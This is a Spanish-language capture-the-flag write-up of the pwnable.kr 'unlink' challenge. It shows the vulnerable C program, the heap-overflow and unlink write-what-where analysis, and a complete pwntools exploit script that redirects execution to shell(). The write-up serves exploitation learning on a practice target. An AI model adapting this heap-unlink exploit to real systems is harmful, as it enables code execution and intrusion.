pwnable.kr - unlink
Table of contents
Explotaremos un Heap Overflow en una lista doblemente enlazada con una condicion Write-What-Where que nos permitira escribir la direccion de la funcion shell() en A->buf
Este es un desafio de los gordos, como ayuda, te dejo este gran writeup el cual me ayudo bastante a entender que pedo: picale aqui
Analisis
Se nos proporciona el codigo fuente del programa, donde primeramente se esta definiendo una estructura llamada OBJ
:
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ;
Primero se definen dos punteros a la estructura tagOBJ
llamados fd
y bk
y un arreglo de char (que seria el buffer) con una longitud de 8 bytes, los punteros fd
y bk
son usados normalmente para implementar una lista doblemente enlazada, y para eso esta esta funcion:
void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}
Donde el puntero fd
apunta al siguiente elemento, y bk
apunta al elemento anterior.
Codigo completo:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ;
void shell(){
system("/bin/sh");
}
void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}
int main(int argc, char* argv[]){
malloc(1024);
OBJ* A = (OBJ*)malloc(sizeof(OBJ));
OBJ* B = (OBJ*)malloc(sizeof(OBJ));
OBJ* C = (OBJ*)malloc(sizeof(OBJ));
// double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B;
printf("here is stack address leak: %p\n", &A);
printf("here is heap address leak: %p\n", A);
printf("now that you have leaks, get shell!\n");
// heap overflow!
gets(A->buf);
// exploit this unlink!
unlink(B);
return 0;
}
Se esta haciendo basicamente esto:
- Crea tres nodos (A, B y C)
- Se crea una lista doblemente enlazada con A en primer lugar, B en segundo y C en tercero.
- Muestra la dirección donde el puntero
&A
cuando mantiene en el stack como una variable local - Muestra la dirección en la que se guarda el nodo A en el heap.
- Obtiene un imput el cual puede sobreescribir la memoria que comienza con
A->buf
en el heap - Llama a unlink con el nodo B
Vulnerabilidad
En la funcion main se esta haciendo un llamado a la funcion gets: gets(A->buf);
, donde se esta ocasionando un heap overflow a partir de del nodo A (A->buf
).
Debido a que ocurrio un heap overflow y el programa soporta una operacion de desvinculacion en el nodo B:
FD->bk=BK;
BK->fd=FD;
Debemos de explotar la funcion unlink
, donde podemos sobreescribir el fd
y el bk
del nodo B, cuando el nodo B se desvincula, ocurre que:
- El nodo apuntado por B->fd(antes C) cambiará a B->bk(antes A)
- El nodo apuntado por B->bk(antes A) cambiará a B->fd(antes C)
Metodo de explotacion 1 (incorrecto)
Podriamos hacer que B->bk apunte a una direccion de ebp
y despues sobrescribirlo con la dirección de la funcion shell
en B->fd
Pero no se puede, si ponemos la direccion de la funcion shell()
en B->fd
o B->bk
, no se ve a poder ejecutar por que cuando se ejecute BK->fd=FD
, la funcion unlink
tratara de escribir en la misma direccion.
Debido a esto, debemos de hacer que B->fd
o B->bk
siempre apunten a una direccion de memoria con permisos de escritura, donde debemos de tener en cuenta que B->bk
se escribira 4 bytes despues de la direccion de B->fd
Analisis con GDB
En las ultimas linea de la funcion main, cuando se hace el llamado de unlink
:
Tenemos algo interesante, El contenido en la dirección ebp-4
se copia en ecx
y antes de que devuelva el valor ecx-4
se asigna al esp
, entonces el programa regresará a la dirección que este en ecx-4
.
Write-What-Where
Una vez ejecutando el programa y pasandole varios bytes hasta que ocurra el overflow, podemos ver que tenemos el control de eax
y edx
:
Y si continuamos la ejecucion del programa, lo que tiene el eip
es la direccion 0x8048521
y que ejecuta la intruccion: DWORD PTR [eax+0x4], edx
, pero como edx
tiene una direccion invalida entonces va a petar. Y aqui es cuando la instruccion mov
nos proporciona la condicion write-what-where
, asi que con esta condicion podemos sobreescribir el ebp-0x4
de cuando de hace el llamado a la funcion unlink
en la funcion main
.
Y esto es bastante interesante por que si sobrescribimos el valor de ebp-4
con una dirección del heap, entonces el flujo de ejecución ira a lo que esté escrito 4 bytes antes de lo que apunta esa dirección, y como tenemos control total sobre el heap, podemos escribir la dirección de la funcion shell()
en esa parte.
Explotacion
Entonces tenemos que:
- Sobreecribiremos
B->bk
con la direcciónebp-4
- Agregar 0x10 al stack para llegar al valor que queremos
- Hacer que
B->fd
sea igual a una dirección del heap que podamos controlar, más 4 bytes, y podemos usarA->buf
- Y por ultimo escribir la dirección de la función
shell()
en A->buf.
Exploit
from pwn import *
s = ssh(user='unlink', host='pwnable.kr', port=2222, password='guest')
p = s.process('/home/unlink/unlink')
p.recvuntil(': ')
stack = int(p.recv(10), 16)
p.recvuntil(': ')
heap = int(p.recv(10), 16)
p.recv()
shell_addr = 0x080484eb
buf = heap+8
ebp = stack+20
payload = p32(shell_addr) # A->buf
payload += b'A'*12
payload += p32(buf+4) # B->fd
payload += p32(ebp-4) # B->bk
p.sendline(payload)
p.interactive()
Eso ha sido todo, gracias por leer ❤